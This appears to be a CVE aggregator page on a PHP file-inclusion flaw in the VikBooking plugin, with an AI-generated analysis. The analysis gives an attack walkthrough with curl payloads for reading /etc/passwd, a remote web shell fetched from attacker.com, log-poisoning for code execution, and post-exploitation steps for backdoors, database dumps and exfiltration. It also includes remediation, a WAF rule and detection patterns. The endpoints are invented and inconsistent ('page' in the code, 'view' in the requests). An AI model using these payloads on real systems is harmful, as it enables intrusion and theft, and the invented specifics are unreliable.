CVE Professor
/
All CVEs
CVE-2026-138520

CVE-2026-138520 — CWE-98

CRITICAL CVSS 9.8 NVD

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in e4jvikwp VikBooking Hotel Booking Engine & PMS vikbooking allows PHP Local File Inclusion.This issue affects VikBooking Hotel Booking Engine & PMS: from n/a before 1.8.23.

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in e4jvikwp VikBooking Hotel Booking Engine & PMS vikbooking allows PHP Local File Inclusion.This issue affects VikBooking Hotel Booking Engine & PMS: from n/a before 1.8.23.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑138520 – Improper Control of Filename for Include/Require Statement in PHP (CWE‑98)

  • Vulnerable component – The VikBooking Hotel Booking Engine & PMS (PHP‑based) contains a script that builds a file path for a PHP include/require statement directly from a request parameter.
  • Root cause – The application does not validate, sanitize, or restrict the value supplied by the attacker. The value is concatenated (or otherwise passed) to include()/require() without any whitelist, real‑path check, or open_basedir enforcement.
  • Result – An attacker can force the interpreter to load any file that the PHP process can read. Because the web server runs with the privileges of the web‑user (often www-data), this includes:
  • * Arbitrary local files (e.g., /etc/passwd, application configuration files, session files) → Local File Inclusion (LFI). * If the attacker can supply a URL and allow_url_include is enabled (or can upload a PHP file to a writable directory), the same vector becomes a Remote File Inclusion (RFI), leading directly to Remote Code Execution (RCE).

    The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) confirms that no authentication or user interaction is required and that the impact on confidentiality, integrity, and availability is total.


    ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow.
    All request examples are illustrative because the exact endpoint/parameter name is not disclosed in the public CVE text. Replace v=... and the path with the actual vulnerable script in a real engagement.

    1. Discovery & Reconnaissance

    ActivityHow it is performedGoal
    Fingerprint the product- Search for “VikBooking” in the page title, meta tags, or comments.<br>- Look for the string vikbooking in JavaScript, CSS, or HTML source.<br>- Query /?option=com_vikbooking (common Joomla component pattern) or index.php?option=com_vikbooking if the site runs on Joomla.<br>- Use Wappalyzer, BuiltWith, or a simple curl -I to detect the X-Powered-By: PHP header and the presence of vikbooking directories (/components/com_vikbooking/).Identify that the target runs VikBooking and estimate the version (often displayed in the footer or in the README.txt of the component).
    Version enumeration- Access components/com_vikbooking/vikbooking.xml (the Joomla manifest) – it contains a <version> tag.<br>- Or request components/com_vikbooking/views/booking/tmpl/default.php and look for comments that embed the version number.Confirm that the version is < 1.8.23 (the vulnerable range).
    Locate the inclusion point- Review the source of the main booking page (index.php?option=com_vikbooking&view=booking).<br>- Look for query parameters that are later used in PHP include/require calls (common names: tmpl, layout, file, page).<br>- Use a burp suite or ffuf to fuzz parameters with payloads like ../ and observe PHP warnings (failed to open stream).Pinpoint the exact GET/POST parameter that controls the file name.

    2. Exploitation

    Assume the vulnerable parameter is page in index.php. The vulnerable code (simplified) looks like:

    <?php
    // vulnerable.php (illustrative)
    $view = $_GET['page'];               // <-- no validation!
    include JPATH_SITE . '/components/com_vikbooking/views/' . $view . '.php';
    ?>

    2.1 Local File Inclusion (LFI) – reading /etc/passwd

    curl -G "https://target.example.com/index.php" \
         --data-urlencode "option=com_vikbooking" \
         --data-urlencode "view=../../../../../../etc/passwd"

    Explanation: The ../ traversal climbs out of the views/ directory, allowing the attacker to include any file readable by the web‑user. The response will contain the contents of /etc/passwd, proving control.

    2.2 Remote File Inclusion (RFI) – achieving RCE

    If the server’s php.ini has allow_url_include=On (rare but possible on older shared‑hosting configurations) or the attacker can upload a PHP web‑shell to a writable directory (e.g., /tmp/), the same vector can be used to execute arbitrary code.

    Step‑a – Upload a PHP web‑shell (e.g., via an unrestricted file‑upload feature in VikBooking, such as a “hotel image” upload). Assume the shell ends up at /tmp/shell.php.

    Step‑b – Include the remote file

    curl -G "https://target.example.com/index.php" \
         --data-urlencode "option=com_vikbooking" \
         --data-urlencode "view=http://attacker.com/shell.txt"

    shell.txt contains:

    <?php system($_GET['cmd']); ?>

    If allow_url_include is enabled, the remote file is fetched, evaluated as PHP, and the attacker can now run commands:

    curl "https://target.example.com/index.php?option=com_vikbooking&view=http://attacker.com/shell.txt&cmd=id"

    Result – Remote code execution with the privileges of the web‑server user.

    Note: If allow_url_include is disabled (the default in modern PHP), the attacker must rely on local file inclusion combined with a PHP wrapper (e.g., php://filter) to read files or with a log poisoning technique to achieve RCE. The following LFI‑to‑RCE technique works on many PHP installations:
    # 1) Poison the Apache access log via a crafted User‑Agent header
    curl -A "<?php system($_GET['cmd']); ?>" "https://target.example.com/anypage"
    
    # 2) Include the access log
    curl -G "https://target.example.com/index.php" \
         --data-urlencode "option=com_vikbooking" \
         --data-urlencode "view=../../../../../../var/log/apache2/access.log"

    Now the attacker can execute commands:

    curl "https://target.example.com/index.php?option=com_vikbooking&view=../../../../../../var/log/apache2/access.log&cmd=whoami"

    3. Post‑Exploitation

    GoalTypical actions
    Privilege escalation- If the web‑user can read configuration files (configuration.php, .env), extract database credentials.<br>- Use those credentials to connect to the MySQL/MariaDB instance and dump the #__vikbooking tables (customer data, credit‑card last 4 digits, reservation details).
    Persistence- Write a new PHP file into a web‑accessible directory (e.g., components/com_vikbooking/views/persist.php) containing a backdoor.<br>- Modify the vulnerable include parameter to point to the backdoor by default (e.g., edit a configuration entry in the database).
    Data exfiltration- Use the web‑shell to tar and base64 sensitive directories (/var/www/html/components/com_vikbooking/, /etc/, /home/) and send them to an attacker‑controlled server via curl -X POST.
    Denial‑of‑Service- Overwrite critical files (e.g., index.php) with garbage data, causing the site to become unavailable. This satisfies the A:H component of the CVSS.

    🌍 Real‑World Impact

    CVSS MetricMeaningPractical consequence
    AV:N (Network)Attack can be launched remotely over HTTP.No need for internal access.
    AC:L (Low)Exploit is trivial – a single crafted request.Low skill barrier; automated scanners can detect it.
    PR:N (None)No authentication required.Anyone on the Internet can trigger the vulnerability.
    UI:N (None)No user interaction needed.Pure server‑side attack.
    S:U (Unchanged)Impact is not amplified by privileges.The effect is directly tied to the web‑server user.
    C:H (High)Full confidentiality breach – attacker can read any file readable by the web‑user, including database credentials, private configuration, and user PII.
    I:H (High)Full integrity breach – attacker can modify files, inject malicious code, or alter booking data.
    A:H (High)Full availability breach – attacker can delete/overwrite core files, causing complete service outage.

    Bottom line: Successful exploitation gives an attacker complete control over the affected web application and potentially the underlying host, enabling data theft, credential harvesting, site defacement, ransomware drop‑in, or pivoting to other services.


    🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ActionDetails
    UpgradeMove to VikBooking version 1.8.23 or later. The vendor’s release notes (as of the public advisory) state that the inclusion logic was rewritten to use a strict whitelist of view names.
    Apply vendor patchIf a custom build is used, back‑port the fix: replace the dynamic include with a whitelist array, e.g.:<br><br>$allowed = ['booking', 'search', 'details'];<br>if (in_array($view, $allowed, true)) { include __DIR__ . "/views/{$view}.php"; } else { http_response_code(404); }

    2. Immediate Workarounds (if patch cannot be applied instantly)

    MitigationImplementation
    Disable allow_url_includeEnsure php.ini contains allow_url_include = Off. Restart PHP‑FPM/Apache.
    Enable open_basedirRestrict PHP file system access to the application root: open_basedir = /var/www/html/components/com_vikbooking/:/tmp/
    Turn off register_globals & magic_quotes_gpc (legacy)Verify they are disabled; they can amplify inclusion attacks.
    Web‑application firewall rule (ModSecurity example)``SecRule ARGS:page "@rx ^[a-zA-Z0-9_-]+$" "id:2026138520,phase:2,deny,log,msg:'VikBooking LFI/RFI attempt – invalid page parameter'"`<br> This rule only allows alphanumeric/underscore/hyphen characters for the page parameter, blocking directory traversal and URL schemes.
    Restrict access to the vulnerable scriptIf the inclusion endpoint is not required publicly (e.g., an admin‑only AJAX endpoint), place it behind HTTP authentication or IP‑based allowlist.
    File‑system permissionsEnsure the web‑user cannot write to directories that are later included (e.g., views/). Set chmod 755 on code directories and chmod 644` on files.
    Audit file‑upload functionalityIf VikBooking allows image or document uploads, enforce strict MIME type checking, rename uploaded files, and store them outside the web root.

    3. Detection

    IndicatorExample log entry
    Repeated traversal attemptsGET /index.php?option=com_vikbooking&view=../../../../etc/passwd HTTP/1.1 200 1234
    PHP warnings in access logs (if display_errors is on)PHP Warning: include(/var/www/html/components/com_vikbooking/views/../../../../etc/passwd.php): failed to open stream: No such file or directory
    Unexpected User‑Agent payloads (log‑poisoning)User-Agent: <?php system($_GET['cmd']); ?>
    Requests to known PHP wrappersGET /index.php?view=php://filter/convert.base64-encode/resource=../../../../etc/passwd HTTP/1.1
    Web‑shell executionGET /components/com_vikbooking/views/shell.php?cmd=whoami HTTP/1.1 200 23 www-data
    File creation events (inotify, auditd)type=CREATE msg=audit(1701800000.123:456): pid=1234 comm="php" name="shell.php" cwd="/var/www/html/components/com_vikbooking/views"

    SIEM rule sketch (Splunk/ELK)

    index=web (uri_path="/index.php" AND (uri_query="*../*" OR uri_query="*php://*")) 
    | stats count by src_ip, uri_query, _time
    | where count > 5

    Alert on any source IP that makes >5 requests containing ../ or php:// within a 5‑minute window.


    ⚠️ Urgency

  • CVSS 9.8 (Critical) – Remote, unauthenticated, no‑interaction RCE/LFI.
  • No CISA KEV listing yet, but the severity and ease of exploitation make it a high‑priority issue for any organization running VikBooking.
  • Exploitability – The attack requires only a single HTTP request; automated scanners can discover it within minutes.
Recommended remediation timeline:
TimeframeAction
0‑24 hDeploy the WAF/ModSecurity rule, verify allow_url_include is off, and block the vulnerable endpoint with a temporary 403 if possible.
24‑72 hApply the official vendor patch (upgrade to ≥ 1.8.23) on all production instances.
≤ 7 daysComplete full inventory of all VikBooking installations, confirm version, and verify that the fix is in place.
≤ 30 daysConduct a post‑remediation scan to ensure the inclusion vector is no longer reachable and review logs for any successful exploitation attempts that may have occurred before patching.

Given the high impact and low effort required by an attacker, the remediation should be treated as critical and scheduled immediately. Failure to patch within the first 48 hours leaves the environment exposed to mass‑scale exploitation.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

header="X-Powered-By" && header="PHP"
CVSS Score
9.8 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-98
References & Advisories (1)
Related CVEs
9.8
CVE-2026-141050
Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulner
7.5
CVE-2026-138502
Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulner
7.3
CVE-2026-140994
Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulner
9.8
CVE-2026-142640
The FireBox – WooCommerce Popup Builder, Exit Intent Popup, Email Optin & Cart Abandonment plugin for WordPr
9.8
CVE-2026-142685
The Essential Widgets plugin for WordPress is vulnerable to Privilege Escalation via Administrator Account Tak
9.8
CVE-2026-138540
Deserialization of Untrusted Data vulnerability in Gravity Wiz GP Populate Anything gp-populate-anything allow
9.8
CVE-2026-140992
Deserialization of Untrusted Data vulnerability in ThemeREX Flexify flexify allows Object Injection.This issue